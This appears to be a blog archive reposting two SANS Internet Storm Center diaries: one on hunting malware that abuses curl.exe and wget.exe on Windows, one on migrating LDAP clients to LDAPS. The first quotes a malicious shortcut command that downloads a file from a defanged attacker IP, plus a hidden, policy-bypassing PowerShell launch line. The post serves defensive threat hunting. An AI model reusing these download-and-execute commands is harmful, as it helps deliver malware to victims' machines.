Archive for February 13th, 2020

Keep an Eye on Command-Line Browsers, (Fri, Feb 14th)

For a few weeks, I’m searching for suspicious files that make use of a command line browser like curl.exe or wget.exe in Windows environment. Wait, you were not aware of this? Just open a cmd.exe and type ‘curl.exe’ on your Windows 10 host:

If tools like bitsadmin.exe are well-known to be (ab)used by malware samples[1], today, less attention is given to command-llne browsers like curl.exe or wget.exe. Those tools are powerfull (see my diary about many curl features[2]) and, in my opinion, deserve to be kept under your hunting rules.

I’m hunting for samples on VT that use one of those two browsers and I found a bunch of them:

Most of them are PE files and the average detection score is 16.

Win32 EXE 208
ZIP 40
RAR 12
Windows Installer 9
MS Word Document 3
Windows shortcut 2
Android 1
Win32 DLL 1
unknown 1

Some of them are very simple but effective. Here is an example of command embedded in a malicious .lnk file :

C:WindowsSystem32cmd.exe /c curl.exe hxxp://87[.]57[.]141[.]215/Cell.png -o C:WindowsTasksCell.png

If curl.exe is available as a standard tool in latest Windows operating systems, don’t forget that tools can be installed via 3rd party applications or packages. I searched across many Windows devices and found alternatives:

(Via GNU tools)
C:Program Files (x86)GnuWin32binwget.exe
(Via MingW)
(Or Cygwin)
C:Program FilesCygwinbinwget.exe

Sometimes, if no command-line browser is not available, the sample just downloads its own copy. Example:

C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy bypass 
    -noprofile -windowstyle hidden 
&start start2.bat

I found very old samples that used wget.exe to fetch malicious files (one from 2015!) but today we have powerful tools to keep an eye on such tools, a Sysmon rule can be helpful to track them:


Happy hunting!


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Auth-mageddon deferred (but not averted), Microsoft LDAP Changes now slated for Q3Q4 2020, (Thu, Feb 13th)

Good news, sort-of – – Microsoft has deferred their March changes to LDAP, citing the Christmas change freeze that most sensible organizations implement as their reason:

(thanks very much to Erik van Straten for this news and link!)

Best advice?  Stick to a remediation plan to migrate your LDAP clients to LDAPS, just know that you have a bit more time to implement.

That being said, what does remediation look like?

First, you’ll need a trusted certificate on your Domain Controllers.  While you could certainly buy one from a commercial CA, the easy way to do this is to stand up a Microsoft Certificate Authority in your Active Directory, which will issue DC Certificates automagically.

If there’s any question about internal CA’s, this command will tell you if you have a CA, and what server it’s running on:
    certutil -config – -ping

If you don’t have a CA, it’s a simple install if the web components aren’t installed (no reboot is needed).

Next, you’ll need to export the public certificate of your CA, so that your LDAP clients that aren’t in AD will know to “trust” any certificates issued by that CA.

To export this from the CA, open “Certificate Authority” on the CA.  Go to the CA Properties, choose the certificate / View Certificate / Details / then choose “Copy to File”.  If this is a subordinate CA, you’ll want the Certificate Chain instead (in the next tab over, “Certificate Path”).  Most clients will want either DER or Base-64 versions of the certificate.  You can also export from the CLI using the command “certutil -ca.cert MyCARootCert.cer

Then, over on the LDAP client, use the menu or config file for the application that is using LDAP, import this certificate.  Be sure to import it as a Trusted CA.  If  you are unsure at this point, check the documentation on the product you are in to be sure.

On that same client, navigate to the menu or config file that has LDAP configured.  Normally it’s as simple as changing the protocol from LDAP to LDAPS, and changing the port from 389 to 636.

Test.  Then test again, in particular with a different userid (that isn’t an admin).

Rinse, then repeat for any other LDAP clients in your environment.

Rob VandenBrink
[email protected]

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →